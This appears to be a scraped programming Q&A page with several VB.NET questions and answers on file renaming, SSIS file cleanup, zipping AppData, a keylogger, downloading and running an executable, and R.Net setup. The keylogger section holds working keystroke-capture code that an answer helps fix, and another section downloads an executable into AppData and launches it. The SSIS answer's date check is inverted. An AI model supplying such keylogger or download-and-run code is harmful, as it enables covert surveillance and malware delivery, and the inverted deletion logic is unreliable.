Rename files sequentially - vb.net

with reference to Renaming all files in a folder
on running the below code, get type def errors:
Type 'DirectoryInfo' is not defined
Type 'FileInfo' is not defined
how to resolve these errors. Please suggest.
Dim sourcePath As String = "E:\testrenamerbackup\vbdotnet"
Dim searchPattern As String = "*.doc"
Dim curDir As New DirectoryInfo(sourcePath)
Dim i As Integer = 0
For Each fi As FileInfo In curDir.GetFiles(searchPattern).OrderBy(Function(num) num.CreationTime)
File.Move(fi.FullName, Path.Combine(fi.Directory.FullName, "docFile_" & i & ".doc"))
i += 1
Next

Add Import System.IO on top of your vb.net class file, for example
Imports System
Imports System.IO
Public Class Test
Public Shared Sub Main()
' your code...
End Sub
End Class
System.IO Namespace contains types that allow reading and writing to files and data streams, and types that provide basic file and directory support including DirectoryInfo, FileInfo. by adding Import System.IO you can use those types and methods in the namespace.

Related

SSIS Delete Files older than 30 days

I am attempting to use a VB.Net script in SSIS that will delete all files from an archive folder that are older than 30 days (based on creation date) using a VB.Net script. This is the script:
Imports System
Imports System.Data
Imports System.IO
Imports System.Math
Imports Microsoft.SqlServer.Dts.Runtime
<Microsoft.SqlServer.Dts.Tasks.ScriptTask.SSISScriptTaskEntryPointAttribute()>
<System.CLSCompliantAttribute(False)>
Partial Public Class ScriptMain
Inherits Microsoft.SqlServer.Dts.Tasks.ScriptTask.VSTARTScriptObjectModelBase
Public Sub Main()
Dim FilePath As String
Dim Days As Integer
Days = CInt(Dts.Variables("User::Days").Value)
FilePath = CStr(Dts.Variables("User::FilePath").Value)
For Each dir As DirectoryInfo In New DirectoryInfo(FilePath).GetDirectories()
For Each file As FileInfo In dir.GetFiles()
If (Now - file.CreationTime).Days > Days Then file.Delete()
Next
Next
End Sub
End Class
Where the FilePath variable (String) = ArchiveFolder file path and Days(INT32) = 30
They have both been set as ReadOnlyVariables.
The script task executes in SSIS "successfully" but is not actually deleting the files.
Any clue why?
Try this
Dim Days = CInt(Dts.Variables("User::Days").Value) * -1
Dim directory As DirectoryInfo = New DirectoryInfo(FilePath)
For Each file In directory.GetFiles("*", SearchOption.AllDirectories)
If (Now.AddDays(Days) <= file.CreationTime) Then file.Delete()
Next

Problem With Zipping An AppData Folder In VB.Net

Code : ZipFile.CreateFromDirectory((Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\Folder"))
"Overload resolution failed because no accessible 'CreateFromDirectory' accepts this number of arguments."
Any Idea Why?
Here is a complete solution, which creates an archive called "tmp.zip" in the current directory, if the source folder exists.
Your example isn't compiling because you have to supply the path of the destination archive as well as the source folder to archive.
Imports System.IO
Imports System.IO.Compression
Module Module1
Sub Main()
Dim destArchive = "tmp.zip"
Dim sourceFolder As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "folder")
If Directory.Exists(sourceFolder) Then
If File.Exists(destArchive) Then
File.Delete(destArchive)
End If
ZipFile.CreateFromDirectory(sourceFolder, destArchive)
End If
Console.ReadLine()
End Sub
End Module

Unable to use KeysConverter in a keylogger program

I am trying to create a basic keylogging program. I am interested in cyber security and want to learn more. I have hashed together the code below from various sources.
The line text = converter.ToString(i) generates an index out of bounds error.
I am thinking that this is because the object converter has not been instantiated as it should?? But how to fix it?
Imports System.IO
Imports System.Text
Imports System.Windows.Forms
Imports System.Runtime.InteropServices
Imports System.Threading
Module Module1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Sub Main()
Dim filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
filepath &= "\LogsFolder\"
If (Not Directory.Exists(filepath)) Then
Directory.CreateDirectory(filepath)
End If
Dim Path = (filepath & "LoggedKeys.text")
If Not File.Exists(Path) Then
Using sw As StreamWriter = File.CreateText(Path)
End Using
End If
Dim Converter = New KeysConverter()
Dim text As String = ""
While (True)
Thread.Sleep(5)
For i As Integer = 0 To 1999
Dim key = GetAsyncKeyState(i)
If key = 1 Or key = -32767 Then
text = converter.ToString(i)
Using sw As StreamWriter = File.AppendText(Path)
sw.WriteLine(text)
End Using
Exit For
End If
Next
End While
End Sub
End Module
Looks like you're looking for the ConvertToString method.
Replace the following line:
text = converter.ToString(i)
With:
text = converter.ConvertToString(i)
Edit to address your concerns in the comments:
I get a syntax error, 'ConvertToString' is not a member of KeysConverter... it sounds like my instantiation has not worked.
Hover with the mouse cursor over your Converter variable and double-check its type. Make sure that KeysConverter actually is the System.Windows.Forms.KeysConverter class and not some kind of a local generated class.
MyImports System.Windows.Forms statement is ghosted - suggesting that its never used.
That's what I suspected. You seem to be in a Console application and you're accessing a class within the System.Windows.Forms namespace which is not included in the Console app. You need to add a reference to System.Windows.Forms.dll as explained in this answer.
Also, make sure you locate and delete the generated KeysConverter class from your project so you avoid conflicts.

VB.NET creating a directory then downloading and running a file in Appdata

For my application I am trying to create a directory for my program, download an executable into the folder and then run it but I am getting two errors,
Error 1 Too many arguments to 'Public Shared Function Exists(path As String) As Boolean'.
Error 2 Value of type 'String' cannot be converted to 'System.Security.AccessControl.DirectorySecurity'.
any Idea what I am doing wrong?
Imports System.DirectoryServices
Imports System.IO
Module Download
Public Sub DownloadExecute(ByVal url As String)
Dim folder As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
If (Not System.IO.Directory.Exists(folder, "TankGame\Installer")) Then
System.IO.Directory.CreateDirectory(folder, "TankGame\Installer")
End If
Dim Downloadedfile = Path.Combine(folder, "TankGame\Installer\installer.exe")
My.Computer.Network.DownloadFile("url", Downloadedfile)
Process.Start(Downloadedfile)
End Sub
End Module

How to get R.Net work with VB.Net

I am trying to get R.Net work with VB.NET. I translated an official example from c# to vb.net but it is not working. There are different things I tried. First I used the SetupHelper as explained on the official page.
Imports System.IO
Namespace RDotNetSetup
Public Class SetupHelper
Public Shared Sub SetupPath()
Dim oldPath = System.Environment.GetEnvironmentVariable("PATH")
Dim rPath = If(System.Environment.Is64BitProcess, "C:\Program Files\R\R-3.0.2\bin\x64", "C:\Program Files\R\R-3.0.2\bin\i386")
If Directory.Exists(rPath) = False Then
Throw New DirectoryNotFoundException(String.Format("Could not found the specified path to the directory containing R.dll: {0}", rPath))
End If
Dim newPath = String.Format("{0}{1}{2}", rPath, System.IO.Path.PathSeparator, oldPath)
System.Environment.SetEnvironmentVariable("PATH", newPath)
End Sub
End Class
End Namespace
and
Imports RDotNet
Imports ConsoleApplication36.RDotNetSetup
Imports System.Collections.Generic
Imports System.IO
Imports System.Linq
Imports System.Text
Imports System.Threading.Tasks
Module Module1
Sub Main()
SetupHelper.SetupPath()
Using engine As REngine = REngine.CreateInstance("RDotNet")
engine.Initialize()
Dim charVec As CharacterVector = engine.CreateCharacterVector({"Hello, R world!, .NET speaking"})
engine.SetSymbol("greetings", charVec)
engine.Evaluate("str(greetings)")
Dim a As String() = engine.Evaluate("'Hi there .NET, from the R engine'").AsCharacter().ToArray()
Console.WriteLine("R answered: '{0}'", a(0))
Console.WriteLine("Press any key to exit the program")
Console.ReadKey()
End Using
End Sub
End Module
I dont get an error, using the debugger at engine.Initialize my test stops running ( the green Start arrow reappears).
So I found another example that should (apparentely) works on VB.Net
Imports RDotNet
Imports System.IO
Imports System.Linq
Module Module1
Sub Main()
Dim envPath = System.Environment.GetEnvironmentVariable("PATH")
Dim rBinPath = "C:\Program Files\R\R-3.0.2\bin\i386"
System.Environment.SetEnvironmentVariable("PATH", envPath & Path.PathSeparator & rBinPath)
Dim engine As REngine = REngine.CreateInstance("RDotNet")
Dim group1 As NumericVector = engine.CreateNumericVector(New Double() {30.02, 29.99, 30.11, 29.97, 30.01, 29.99})
engine.SetSymbol("group1", group1)
' Direct parsing from R script.
Dim s = "group2 <- c(29.89, 29.93, 29.72, 29.98, 30.02, 29.98)"
Dim group2 = engine.Evaluate(s).AsNumeric()
Dim testResult As GenericVector = engine.Evaluate("t.test(group1, group2)").AsList()
Dim p As Double = testResult("p.value").AsNumeric().First()
Console.WriteLine("Group1: [{0}]", String.Join(", ", group1))
Console.WriteLine("Group2: [{0}]", String.Join(", ", group2))
Console.WriteLine("P-value = {0:0.000}", p)
End Sub
End Module
Looks like the writer had the same problem and just left the engine.initialize. If I execute the code I get the error: "Value out of range" at Dim group1 As NumericVector = engine.CreateNumericVector(New Double() {30.02, 29.99, 30.11, 29.97, 30.01, 29.99}).
Anyone who could help me get a sample code for VB.NET to work? And explain me why i cannot initialize.
fyi: I checked the path and set all needed references.
Ok, hours of trying and discussion later it works. What I did:
I changed .net 4.5 to .net 4.0
I changed compiler settings from "AnyCPU" to "x86"
First line in the 'SetupPath()' is: System.Environment.SetEnvironmentVariable("R_HOME", "C:\Program Files\R\R-3.0.2")